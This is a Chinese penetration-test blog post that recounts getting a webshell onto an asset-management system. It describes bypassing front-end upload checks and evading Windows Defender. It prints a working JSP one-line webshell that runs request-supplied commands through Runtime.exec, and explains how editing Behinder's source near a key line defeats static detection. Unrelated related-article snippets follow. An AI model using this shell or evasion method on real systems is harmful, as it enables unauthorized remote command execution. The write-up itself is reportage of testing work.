某资产管理系统打点过程中的免杀经历

上周,被扔过来单位内部的一个链接,让渗透一下,本以为三下五除二很快就能测完,没想到在对抗杀软时费了一番功夫,再加上杂七杂八的事儿,经过了一个星期才测完(# ̄~ ̄#)。打开链接,见到一个熟悉的登录框,是一个资产管理系统。

图片

 

在进行了一番端口目录、认证机制、会话管理、授权访问等方面的检查后发现了一些问题,这里不做赘述,此次重点想写写拿shell的经历。进入主页面,没用多长时间就找到了上传点,而且有两个。一个是头像上传,涉及裁剪、压缩等操作。

图片

 

另一个是工具上传,允许直接上传文件(包)。两全伤害取其轻,就用这个。

图片

 

创建个txt,随便加点内容进去,burp抓包看看这个功能的情况。

图片

 

上传成功,并且有回显路径,有戏。

图片

 

访问一下文件地址也展现出来了,直接上马子试试。

图片

 

被阻断,不允许上传.java、.class、.jsp、.html等类型文件。一看就是之前经历过渗透测试,吃过亏(事后查了一下这家软件公司,做了不少企业的资产管理系统,是个成熟的项目,而且公司在2023年中已经上市,尽管在北交所,也必然会遵循一定的代码规范)。刚才上传用的是冰蝎4,查看burp的history中并无请求出现,证明是前端验证。尝试绕过前端验证,直接将冰蝎源码上传。

图片

 

成功绕过,并且返回了文件路径……这就要完活儿了?!似乎有些轻松。访问一下:

图片

 

404,文件没了。紧接着又拿哥斯拉试了一遍,同样是返回了路径,同样是404……猜测可能有杀软,落地文件被删除。接下来要做免杀了,使用在线工具对webshell进行变异,上传后一路404,更加确定杀软的存在。并且这款杀软的静态特征检测库还很全,如果仅仅混淆边边角角的代码是无法过它的,猜测它是能够匹配关键代码、关键API。

图片

 

变异的厉害了还抛出了500,破坏了webshell自身的逻辑,甚至是添加了错误代码。看来省事儿的方式效果不理想,想要落地还是得自己动手,ε=(´ο`*)))唉。

图片

 

最后使用了一个加长版的一句话木马才成功落地,请求如下:

图片

 

访问文件路径并带上whoami。

图片

 

直接就是administrator管理员。此马儿与传统的一句话jsp一样,也是用Runtime来执行命令,只不过前面加了一个参数pwd固定值判断,后面使用System.out来print一个String,并且这个String是命令执行的结果。

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

但是蚁剑不给力,连接时报500。尝试了多种设置均以失败告终,哪位大神研究过蚁剑还请指导一下,Thanks♪(・ω・)ノ。

图片

 

测试到这个地步对于这个活儿来说其实可以交差了,已经拿到了权限,但如果想进行横向的话是无法继续利用的,所以还是要做免杀。掏出珍藏多年的idea(鄙视自己一下ε(┬┬﹏┬┬)3),打开冰蝎,调好格式,尝试做混淆。鉴于前面踩过坑,已经了解到该杀软能够检测到关键代码,所以直接分析源码。作为webshell,回显是必须的功能,而对于冰蝎来说,response数据来自于request.getReader().readLine()。因此直接对第18行动手,先用注释尝试一下,随便填加一些字符。

图片

 

发送请求:

图片

 

成功。访问一下回显路径:

图片

 

空白页,没有报404,证明文件确实落地了,没有被杀掉。上冰蝎:

图片

 

连接成功!免杀完毕。这次是真的可以交差了。进来后第一件事儿就是看看到底是哪个杀软在作祟:

图片

 

MsMpEng.exe,微软的Windows Defender。 

图片

 好奇心驱使,又拿了一个原版的冰蝎本地验证一下,果不其然,被秒杀(图中右上角的文件):

图片

 

总结,这次拿shell的过程主要是在对抗杀软上耗费了很多时间,其次是在寻找杀软的进程上。因为服务器上一般都有专业杀毒软件或者HIDS防护,没有想到是Windows自己的Defender。虽然在写的时候只用一句话一张图带过,但在搜索进程的时候还特地整理了一份常见杀软的表格,挨个儿比对才有了最后那张图。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/436699.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

API(接口) | 软件组件之间信息交互的“桥梁”

Hi&#xff0c;大家好&#xff0c;我是半亩花海。本文主要从 API 的定义、包含、用途和其他方面来简单地介绍 API&#xff08;接口&#xff09; ——软件组件之间信息交互的“桥梁”。 目录 一、什么是 API&#xff1f; 二、 API 中所包含哪些&#xff1f; 补充 三、API 可…

SQL server内存问题排查方案

前言 由于昨晚线上服务器数据库突然访问数据缓慢&#xff0c;任务管理里面SQL server进程爆满等等&#xff0c;重大事故的排查拟写解决方案。 整体思路 查询数据库请求连接&#xff1a;排查连接池是否占满查询数据库请求量&#xff1a;排查数据是否存在反复查询查询数据库阻…

Mysql 学习(十五)redo 日志

redo 日志 什么是redo日志&#xff1f;在说这个之前我们先来想一个场景&#xff0c;在访问磁盘的页面之前&#xff0c;我们会先把页面缓存到Buffer Pool之后&#xff0c;才会访问。写页面的时候也会先将buffer pool中的页面修改之后&#xff0c;然后在某个时机才会刷新到磁盘中…

【Oracle Database】如何远程连接服务器、创建用户、从本地dmp导入表

C:\Users\test>imp test/123456ip/orcl:1521 fileE:\db.dmp tablestable1,table2Import: Release 11.2.0.3.0 - Production on 星期一 3月 4 12:59:09 2024Copyright (c) 1982, 2011, Oracle and/or its affiliates. All rights reserved.IMP-00058: 遇到 ORACLE 错误 1263…

vue3 vue-i18n 多语言

1. 安装 npm install vue-i18n -s 2. 引入main.js import { createI18n } from vue-i18n import messages from ./i18n/index const i18n createI18n({legacy: false,locale: Cookies.get(language) || en_us, // set localefallbackLocale: en_us, // set fallback local…

Spring面向切片编程AOP概念及相关术语(一)

个人名片&#xff1a; &#x1f43c;作者简介&#xff1a;一名大三在校生&#xff0c;喜欢AI编程&#x1f38b; &#x1f43b;‍❄️个人主页&#x1f947;&#xff1a;落798. &#x1f43c;个人WeChat&#xff1a;hmmwx53 &#x1f54a;️系列专栏&#xff1a;&#x1f5bc;️…

面试问答之Spring进阶

文章目录 &#x1f412;个人主页&#xff1a;信计2102罗铠威&#x1f3c5;JavaEE系列专栏&#x1f4d6;前言&#xff1a;&#x1f380;说说你对Spring的认识与理解&#x1f415;Bean的分类&#x1f415; BeanFactory 接口和ApplicationContex 接口 的区别&#x1f415;SpringBe…

Canvas笔记04:绘制九大基本图形的方法,重头戏是贝塞尔曲线

hello&#xff0c;我是贝格前端工场&#xff0c;最近在学习canvas&#xff0c;分享一些canvas的一些知识点笔记&#xff0c;本期分享canvas绘制图形的知识&#xff0c;欢迎老铁们一同学习&#xff0c;欢迎关注&#xff0c;如有前端项目可以私信贝格。 Canvas是HTML5中的一个绘…

ROS2学习(七) Foxy版本ros2替换中间件。

在ros2使用的过程中&#xff0c;一开始选用的foxy版本&#xff0c;后来发现&#xff0c;foxy版本的ros2有很多问题。一个是foxy版本已经停止维护了。另一个问题是这个版本有很多bug, 后续的版本在功能实现上做了很大的改动&#xff0c;甚至说进行了重写。修复的一些问题&#x…

【Flink网络传输】ShuffleMaster与ShuffleEnvironment创建细节与提供的能力

文章目录 一. Taskmanager之间传递数据细节二. ShuffleService的设计与实现三. 在JobMaster中创建ShuffleMaster四. 在TaskManager中创建ShuffleEnvironment五. 基于ShuffleEnvironment创建ResultPartition1. 在task启动时创建ResultPartition2. ResultPartition的创建与对数据…

WSL2安装+深度学习环境配置

WSL2安装深度学习环境配置 1 安装WSL22 配置深度学习环境1.1 设置用户名、密码1.2 安装cuda修改WSL安装路径 1.3 安装Anaconda 参考&#xff1a;搭建Windows Linux子系统&#xff08;WSL2&#xff09;CUDA环境 参考&#xff1a;深度学习环境配置 WindowsWSL2 1 安装WSL2 WSL …

java-springboot 源码 01

01.springboot 是一个启动器 先安装maven&#xff0c;按照网上的流程来。主要是安装完成后&#xff0c;要修改conf目录下的setting.xml文件。 添加&#xff1a;阿里云镜像 <mirror><id>aliyunmaven</id><mirrorOf>*</mirrorOf><name>ali…

判断连续数据同意特征的方法:插旗法

bool isMonotonic(int* nums, int numsSize) {int flag 2;for (int i 1; i < numsSize; i) {if (nums[i-1] > nums[i]) {if (flag 0)return false;flag 1;}else if (nums[i-1] < nums[i]) {if (flag 1)return false;flag 0;}}return true; }此代码较为简单&…

【Python】新手入门(8):什么是迭代?迭代的作用是什么?

【Python】新手入门&#xff08;8&#xff09;&#xff1a;什么是迭代&#xff1f;迭代有什么应用&#xff1f; &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】…

《时代教育》是什么级别的期刊?是正规期刊吗?能评职称吗?

问题解答 问&#xff1a;《时代教育》杂志是正规刊物吗&#xff1f; 答&#xff1a;是的&#xff0c;国家新闻出版总署正式备案的期刊 问&#xff1a;《时代教育》是什么级别刊物&#xff1f; 答&#xff1a;省级 主管单位&#xff1a;成都日报报业集团 主办单位&#x…

<C++>【继承篇】

​ ✨前言✨ &#x1f393;作者&#xff1a;【 教主 】 &#x1f4dc;文章推荐&#xff1a; ☕博主水平有限&#xff0c;如有错误&#xff0c;恳请斧正。 &#x1f4cc;机会总是留给有准备的人&#xff0c;越努力&#xff0c;越幸运&#xff01; &#x1f4a6;导航助手&#x1…

主题乐园如何让新客变熟客,让游客变“留客”?

群硕跨越时间结识了一位爱讲故事的父亲&#xff0c;他汇集了一群幻想工程师&#xff0c;打算以故事为基础&#xff0c;建造一个梦幻的主题乐园。 这个乐园后来成为全球游客最多、收入最高的乐园之一&#xff0c;不仅在2023财年创下了近90亿&#xff08;美元&#xff09;的营收…

软件测试必学的16个高频数据库操作及命令

数据库作为软件系统数据的主要存取与操作中心&#xff0c;广泛应用于企业当中。在企业中常用的数据库管理系统有 ORACLE、MS SQL SERVER、MySQL等。其中以免费的 MySQL 最多&#xff0c;特别在中小型互联网公司里。 因此&#xff0c;本文的数据库操作是基于 MySQL 数据库系统下…

c# 二分查找(迭代与递归)

二分搜索被定义为一种在排序数组中使用的搜索算法&#xff0c;通过重复将搜索间隔一分为二。二分查找的思想是利用数组已排序的信息&#xff0c;将时间复杂度降低到O(log N)。 二分查找算法示例 何时在数据结构中应用二分查找的条件&#xff1a; 应用二分查找算法&#xff1a…

平台工程师的崛起:如何应对日益复杂的软件

平台工程只是 DevOps 专业化的另一个术语&#xff0c;还是有什么不同&#xff1f;事实可能介于两者之间。DevOps 及其相关的 DevXOps 风格具有浓厚的文化色彩&#xff0c;将各个团队置于中心位置。不幸的是&#xff0c;在许多地方&#xff0c;DevOps 导致了新的问题&#xff0c…